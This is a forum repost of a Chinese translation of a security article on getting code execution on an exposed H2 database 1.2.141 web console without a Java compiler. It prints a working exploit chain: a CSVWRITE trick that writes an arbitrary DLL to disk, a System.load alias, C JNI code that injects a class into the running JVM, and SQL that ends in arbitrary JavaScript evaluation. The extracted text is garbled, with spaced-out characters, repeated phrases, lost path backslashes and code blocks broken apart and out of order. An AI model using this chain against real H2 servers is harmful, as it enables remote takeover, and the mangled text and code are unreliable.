搜索

[14743] 2019-10-26_利用原生库和JNI（Java原生接口）实现H2数据库漏洞利用

文档创建者：s7ckTeam
浏览次数：36
最后更新：2025-01-18
2019-10-26_利用原生库和JNI（Java原生接口）实现H2数据库漏洞利用 利 用 原 生 库 和 J N I （ J a v a 原 生 接 口 ） 实 现 H 2 数 据 库 漏 洞 利 用 s e c i s t   F r e e B u f   2 0 1 9 - 1 0 - 2 6 在 在 H 2 数 据 库 引 擎 中 获 取 代 码 执 行 权 限 的 技 术 早 已 是 众 所 周 知 ， 但 有 个 要 求 就 是 数 据 库 引 擎 中 获 取 代 码 执 行 权 限 的 技 术 早 已 是 众 所 周 知 ， 但 有 个 要 求 就 是 H 2 能 够 动 态 编 译 能 够 动 态 编 译 J a v a 代 码 。 而 本 文 将 向 大 家 展 示 以 代 码 。 而 本 文 将 向 大 家 展 示 以 前 没 有 公 开 过 的 利 用 前 没 有 公 开 过 的 利 用 H 2 的 方 法 ， 并 且 无 需 使 用 的 方 法 ， 并 且 无 需 使 用 J a v a 编 译 器 ， 即 通 过 原 生 库 和 编 译 器 ， 即 通 过 原 生 库 和 J N I （ （ J a v a 原 生 接 口 ） 实 现 原 生 接 口 ） 实 现 H 2 数 据 库 漏 洞 的 利 用 数 据 库 漏 洞 的 利 用   。 。 介 绍 介 绍 上 周 ， D o y e n s e c 的 A n d r e a   B r a n c a l e o n i 发 表 了 一 篇 关 于 j a c k s o n   g a d g e t s - 漏 洞 剖 析 的 博 文 。 它 描 述 了 如 果 L o g b a c k 和 H 2 数 据 库 引 擎 库 可 用 ， 如 何 利 用 J a c k s o n 库 中 基 于 s e t t e r 的 漏 洞 。 简 而 言 之 ， 就 是 利 用 H 2 的 特 性 ， 使 用 J a v a 代 码   创 建 用 户 定 义 的 函 数 ， 并 使 用 J a v a 编 译 器 动 态 编 译 这 些 函 数 。 但 如 果 J a v a 编 译 器 不 可 用 呢 ？ 这 是 在 最 近 的 一 次 参 与 中 遇 到 的 情 况 ， W i n d o w s 系 统 上 的 H 2 数 据 库 引 擎 实 例 版 本 1 . 2 . 1 4 1 公 开 了 其 W e b 控 制 台 。 我 们 希 望 通 过 使 用 原 生 库 （ . d l l 或 . s o ） 和 J a v a 原 生 接 口 （ J N I ） ， 找 到 一 种 新 的 方 法 来 执 行 任 意 J a v a 代 码 ， 而 无 需 在 目 标 服 务 器 上 使 用 J a v a 编 译 器 。 H 2   能 力 评 估 能 力 评 估 假 设 我 们 不 能 使 用 C R E A T E   A L I A S   …   A S   …   命 令 ， 因 为 J a v a 编 译 器 不 可 用 。 原 因 可 能 是 它 不 是 J a v a   D e v e l o p m e n t   K i t （ J D K ） 而 是 J a v a R u n t i m e   E n v i r o n m e n t （ J R E ） ， 因 此 没 有 编 译 器 。 或 是 由 于 未 正 确 设 置 P A T H 环 境 变 量 ， 导 致 无 法 找 到 J a v a 编 译 器 j a v a c 。 但 是 ， C R E A T E   A L I A S   …   F O R   …     命 令 可 以 使 用 ： 当 引 用 一 个 方 法 时 ， 类 必 须 已 经 被 编 译 并 包 含 在 运 行 数 据 库 的 类 路 径 中 。 仅 支 持 静 态 J a v a 方 法 ； 类 和 方 法 都 必 须 是 公 共 的 。 因 此 各 个 公 共 静 态 方 法 都 可 以 使 用 。 最 坏 的 情 况 是 ， 只 有 h 2 - 1 . 2 . 1 4 1 . j a r 和 J R E 可 用 。 此 外 ， 只 有 受 支 持 的 数 据 类 型 可 用 于 嵌 套 函 数 调 用 。 在 J a v a 运 行 时 库 r t . j a r 中 浏 览 c a n d i d a t e s 时 ， 我 们 发 现 S y s t e m . l o a d ( S t r i n g ) 方 法 允 许 加 载 原 生 库 。 这 意 味 着 我 们 可 以 通 过 库 的 入 口 点 函 数 来 执 行 代 码 。 但 如 何 将 库 加 载 到 H 2 服 务 器 上 呢 ？ 虽 然 W i n d o w s 上 的 J a v a 支 持 U N C 路 径 并 提 取 文 件 ， 但 其 拒 绝 实 际 加 载 它 。 而 且 这 在 L i n u x 上 也 不 起 作 用 。 那 么 ， 如 何 将 文 件 写 入 H 2 服 务 器 呢 ？ 使 用 使 用   H 2   写 入 任 意 文 件 写 入 任 意 文 件 在 查 看 和 研 究 了 一 些 H 2 函 数 后 ， 我 们 发 现 了 一 个 F I L E _ W R I T E 文 件 写 入 函 数 。 不 幸 的 是 ， F I L E _ W R I T E 是 在 1 . 4 . 1 9 0 中 引 入 的 。 而 我 们 需 要 的 是 在 1 . 2 . 1 4 1 中 可 用 的 函 数 。 最 终 我 们 找 到 了 一 个 名 为 C S V W R I T E 的 函 数 ， 这 也 是 唯 一 一 个 名 称 中 带 “   w r i t e ” 的 函 数 。 快 速 测 试 显 示 了 C S V 列 标 头 也 被 打 印 了 出 来 。 查 看 C S V 选 项 ， 可 以 看 到 有 一 个 w r i t e C o l u m n H e a d e r 选 项 可 用 于 禁 用 写 入 列 标 头 。 不 幸 的 是 ， w r i t e C o l u m n H e a d e r 选 项 仅 被 添 加 在 了 1 . 3 / 1 . 4 . 1 7 7 上 。 但 是 在 查 看 其 他 受 支 持 的 选 项 f i e l d S e p a r a t o r ， f i e l d D e l i m i t e r ， e s c a p e ， n u l l 和 l i n e S e p a r a t o r 时 ， 我 蹦 出 了 一 个 想 法 ： 如 果 我 们 将 它 们 全 部 清 空 ， 并 使 用 C S V 列 标 头 写 入 我 们 的 数 据 ， 会 怎 样 ？ 如 果 H 2 数 据 库 引 擎 允 许 列 具 有 任 意 长 度 的 任 意 名 称 ， 那 么 我 们 就 能 够 写 入 任 意 数 据 。 查 看 H 2 的 列 语 法 ， 列 的 c o l u m n N a m e 可 以 是 带 引 号 的 名 称 ， 定 义 如 下 ： “   a n y t h i n g   ” 带 引 号 的 名 称 区 分 大 小 写 ， 并 且 可 以 包 含 空 格 。 没 有 最 大 名 称 长 度 。 两 个 双 引 号 可 用 于 在 标 识 符 内 创 建 一 个 单 双 引 号 。 这 听 起 来 很 完 美 。 让 我 们 看 看 我 们 是 否 可 以 在 其 中 放 入 任 意 内 容 ， 以 及 C S V W R I T E 是 否 具 有 二 进 制 安 全 机 制 。 首 先 ， 让 我 们 生 成 涵 盖 所 有 8 - b i t   o c t e t 的 测 试 数 据 ： 现 在 我 们 生 成 一 系 列 C H A R ( n ) 函 数 调 用 ， 它 们 将 在 S Q L 查 询 中 生 成 我 们 的 二 进 制 数 据 ： $   p y t h o n   - c   ' i m p o r t   s y s ; [ s y s . s t d o u t . w r i t e ( c h r ( i ) )   f o r   i   i n   r a n g e ( 0 , 2 5 6 ) ] '   >   t e s t . b i n $   s h a 1 s u m   t e s t . b i n 4 9 1 6 d 6 b d b 7 f 7 8 e 6 8 0 3 6 9 8 c a b 3 2 d 1 5 8 6 e a 4 5 7 d f c 8     t e s t . b i n x x d   - p   - c   2 5 6   t e s t . b i n   |   s e d   - e   ' s / . . / ) , C H A R ( 0 x & / g '   - e   ' s / ^ ) , / / '   - e   ' s / $ / ) / '   - e   ' s / C H A R ( 0 x 2 2 ) / & , & / g '
然 后 ， 我 们 在 以 下 C S V W R I T E 调 用 中 使 用 它 ： 最 后 ， 我 们 测 试 写 入 的 文 件 是 否 具 有 相 同 的 校 验 和 ： 可 以 看 到 ， 文 件 应 该 是 相 同 的 ！ 进 入 原 生 世 界 进 入 原 生 世 界 既 然 我 们 可 以 使 用 内 置 函 数 C S V W R I T E ， 将 原 生 库 写 入 磁 盘 并 通 过 为 S y s t e m . l o a d ( S t r i n g ) 创 建 别 名 来 加 载 它 ， 我 们 就 可 以 使 用 库 的 入 口 点 来 实 现 代 码 执 行 。 让 我 们 更 进 一 步 ， 看 看 是 否 有 办 法 从 S Q L 执 行 任 意 命 令 / 代 码 。 J a v a   N a t i v e   I n t e r f a c e （ J N I ） 允 许 原 生 代 码 和 J a v a 虚 拟 机 （ J V M ） 之 间 的 交 互 。 因 此 ， 在 这 种 情 况 下 ， 它 将 允 许 我 们 与 运 行 H 2 数 据 库 的 J V M 进 行 交 互 。 现 在 ， 我 的 想 法 是 使 用 J N I 通 过 C l a s s L o a d e r . d e f i n e C l a s s ( b y t e [ ] ,   i n t ,   i n t ) 将 自 定 义 J a v a 类 注 入 到 运 行 的 J V M 中 。 这 将 允 许 我 们 创 建 一 个 别 名 并 从 S Q L 调 用 它 。 使 用 使 用   J N I   调 用 调 用   J V M 首 先 ， 我 们 需 要 获 得 正 在 运 行 的 J V M 的 句 柄 。 这 可 以 通 过 J N I _ G e t C r e a t e d J a v a V M s 函 数 来 完 成 。 然 后 ， 将 当 前 线 程 附 加 到 V M ， 并 获 得 J N I 接 口 指 针 （ J N I E n v ） 。 使 用 该 指 针 ， 我 们 可 以 与 J V M 交 互 并 调 用 J N I 函 数 ， 例 如 F i n d C l a s s ,   G e t S t a t i c M e t h o d I D / G e t M e t h o d I D >   和 C a l l S t a t i c M e t h o d / C a l l M e t h o d 。 计 划 是 通 过 C l a s s L o a d e r . g e t S y s t e m C l a s s L o a d e r ( ) 获 取 系 统 类 加 载 器 并 调 用 d e f i n e C l a s s ： S E L E C T   C S V W R I T E ( ' C : W i n d o w s T e m p t e s t . b i n ' ,   C O N C A T ( ' S E L E C T   N U L L   " ' ,   …   ,   ' " ' ) ,   ' I S O - 8 8 5 9 - 1 ' ,   ' ' ,   ' ' ,   ' ' ,   ' ' ,   ' ' ) ; C : W i n d o w s T e m p >   c e r t u t i l   - h a s h f i l e   t e s t . b i n   S H A 1 S H A 1   h a s h   o f   f i l e   t e s t . b i n : 4 9   1 6   d 6   b d   b 7   f 7   8 e   6 8   0 3   6 9   8 c   a b   3 2   d 1   5 8   6 e   a 4   5 7   d f   c 8 C e r t U t i l :   - h a s h f i l e   c o m m a n d   c o m p l e t e d   s u c c e s s f u l l y . / /   x x d   - p   - c   1 0 0 0 0   b i n / J N I S c r i p t E n g i n e . c l a s s   |   s e d   - e   ' s / . . / 0 x & , / g '   - e   ' s / ^ / c h a r   b u f [ ]   =   { / '   - e   ' s / , $ / } ; / ' / /   p u b l i c   s t a t i c   J N I S c r i p t E n g i n e . e v a l ( S t r i n g   j s )   :   S t r i n g c h a r   b u f [ ]   =   {   / *   . . .   * /   } ; s i z e _ t   b u f L e n   =   s i z e o f ( b u f ) ; j b y t e A r r a y   j D a t a   =   ( * g _ e n v ) - > N e w B y t e A r r a y ( g _ e n v ,   b u f L e n ) ; ( * g _ e n v ) - > S e t B y t e A r r a y R e g i o n ( g _ e n v ,   j D a t a ,   0 ,   b u f L e n ,   ( j b y t e * ) b u f ) ; J N I E n v   *   g _ e n v ; J a v a V M *   g _ v m ; j s i z e   n u m _ v m s   =   0 ; j i n t   r e s u l t   =   J N I _ G e t C r e a t e d J a v a V M s ( & g _ v m ,   1 ,   & n u m _ v m s ) ; i n t   g e t E n v S t a t   =   ( * g _ v m ) - > G e t E n v ( g _ v m ,   ( v o i d   * * ) & g _ e n v ,   J N I _ V E R S I O N _ 1 _ 6 ) ; i f   ( g e t E n v S t a t   = =   J N I _ E D E T A C H E D )   {     / /   p r i n t f ( " G e t E n v :   n o t   a t t a c h e d n " ) ;     i f   ( ( * g _ v m ) - > A t t a c h C u r r e n t T h r e a d ( g _ v m ,   ( v o i d   * * )   & g _ e n v ,   N U L L )   ! =   0 )   {         / /   p r i n t f ( " F a i l e d   t o   a t t a c h n " ) ;     } }   e l s e   i f   ( g e t E n v S t a t   = =   J N I _ O K )   {     / /   p r i n t f ( " G e t E n v :   e v e r y t h i n g ' s   f i n e n " ) ; }   e l s e   i f   ( g e t E n v S t a t   = =   J N I _ E V E R S I O N )   {     / /   p r i n t f ( " G e t E n v :   v e r s i o n   n o t   s u p p o r t e d n " ) ; } j c l a s s   c l s ; j m e t h o d I D   m e t h ; j o b j e c t   o b j ; c l s   =   ( * g _ e n v ) - > F i n d C l a s s ( g _ e n v ,   " j a v a / l a n g / C l a s s L o a d e r " ) ; / /   s t a t i c   j a v a . l a n g . C l a s s L o a d e r . g e t S y s t e m C l a s s L o a d e r ( )   :   j a v a . l a n g . C l a s s L o a d e r m e t h   =   ( * g _ e n v ) - > G e t S t a t i c M e t h o d I D ( g _ e n v ,   c l s ,   " g e t S y s t e m C l a s s L o a d e r " ,   " ( ) L j a v a / l a n g / C l a s s L o a d e r ; " ) ; j o b j e c t   s y s t e m C l a s s L o a d e r   =   ( * g _ e n v ) - > C a l l S t a t i c O b j e c t M e t h o d ( g _ e n v ,   c l s ,   m e t h ) ; / /   j a v a . l a n g . C l a s s L o a d e r . d e f i n e C l a s s ( b y t e [ ] ,   i n t ,   i n t )   :   j a v a . l a n g . C l a s s m e t h   =   ( * g _ e n v ) - > G e t M e t h o d I D ( g _ e n v ,   c l s ,   " d e f i n e C l a s s " ,   " ( [ B I I ) L j a v a / l a n g / C l a s s ; " ) ;
这 基 本 上 是 模 仿 了 以 下 J a v a 代 码 ： 自 定 义 J a v a 类 J N I S c r i p t E n g i n e 只 有 一 个 公 共 静 态 方 法 ， 它 使 用 可 用 的 S c r i p t E n g i n e 实 例 评 估 传 递 的 脚 本 ： 最 终 ， 整 合 在 一 起 的 代 码 如 下 ： 这 样 我 们 就 可 以 从 S Q L 执 行 任 意 的 J a v a S c r i p t 代 码 了 。 * 参 考 来 源 ： 参 考 来 源 ： c o d e w h i t e s e c ， ， F B 小 编 小 编 s e c i s t 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐 j o b j e c t   l o a d e d C l a s s   =   ( * g _ e n v ) - > C a l l O b j e c t M e t h o d ( g _ e n v ,   s y s t e m C l a s s L o a d e r ,   m e t h ,   j D a t a ,   0 ,   ( j i n t ) b u f L e n ) ; ( * g _ e n v ) - > D e l e t e L o c a l R e f ( g _ e n v ,   j D a t a ) ; ( * g _ v m ) - > D e t a c h C u r r e n t T h r e a d ( g _ v m ) ; C l a s s   c l s   =   C l a s s . f o r N a m e ( " j a v a . l a n g . C l a s s L o a d e r " ) ; M e t h o d   m e t h   =   c l s . g e t D e c l a r e d M e t h o d ( " g e t S y s t e m C l a s s L o a d e r " ,   n e w   C l a s s [ 0 ] ) ; O b j e c t   s y s t e m C l a s s L o a d e r   =   m e t h . i n v o k e ( n u l l ,   n e w   O b j e c t [ 0 ] ) ; m e t h   =   c l s . g e t D e c l a r e d M e t h o d ( " d e f i n e C l a s s " ,   n e w   C l a s s [ ]   {   b y t e [ ] . c l a s s ,   i n t . c l a s s ,   i n t . c l a s s   } ) ; m e t h . s e t A c c e s s i b l e ( t r u e ) ; m e t h . i n v o k e ( s y s t e m C l a s s L o a d e r ,   n e w   O b j e c t [ ]   {   j D a t a ,   0 ,   j D a t a . l e n g t h   } ) ; p u b l i c   c l a s s   J N I S c r i p t E n g i n e   {     p u b l i c   s t a t i c   S t r i n g   e v a l ( S t r i n g   s c r i p t )   t h r o w s   E x c e p t i o n   {         r e t u r n   n e w   j a v a x . s c r i p t . S c r i p t E n g i n e M a n a g e r ( ) . g e t E n g i n e F a c t o r i e s ( ) . g e t ( 0 ) . g e t S c r i p t E n g i n e ( ) . e v a l ( s c r i p t ) . t o S t r i n g ( ) ;     } } - -   w r i t e   n a t i v e   l i b r a r y S E L E C T   C S V W R I T E ( ' C : W i n d o w s T e m p J N I S c r i p t E n g i n e . d l l ' ,   C O N C A T ( ' S E L E C T   N U L L   " ' ,   . . .   ,   ' " ' ) ,   ' I S O - 8 8 5 9 - 1 ' ,   ' ' ,   ' ' ,   ' ' ,   ' ' ,   ' ' ) ; - -   l o a d   n a t i v e   l i b r a r y C R E A T E   A L I A S   I F   N O T   E X I S T S   S y s t e m _ l o a d   F O R   " j a v a . l a n g . S y s t e m . l o a d " ; C A L L   S y s t e m _ l o a d ( ' C : W i n d o w s T e m p J N I S c r i p t E n g i n e . d l l ' ) ; - -   e v a l u a t e   s c r i p t C R E A T E   A L I A S   I F   N O T   E X I S T S   J N I S c r i p t E n g i n e _ e v a l   F O R   " J N I S c r i p t E n g i n e . e v a l " ; C A L L   J N I S c r i p t E n g i n e _ e v a l ( ' 7 * 1 9 1 ' ) ;
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理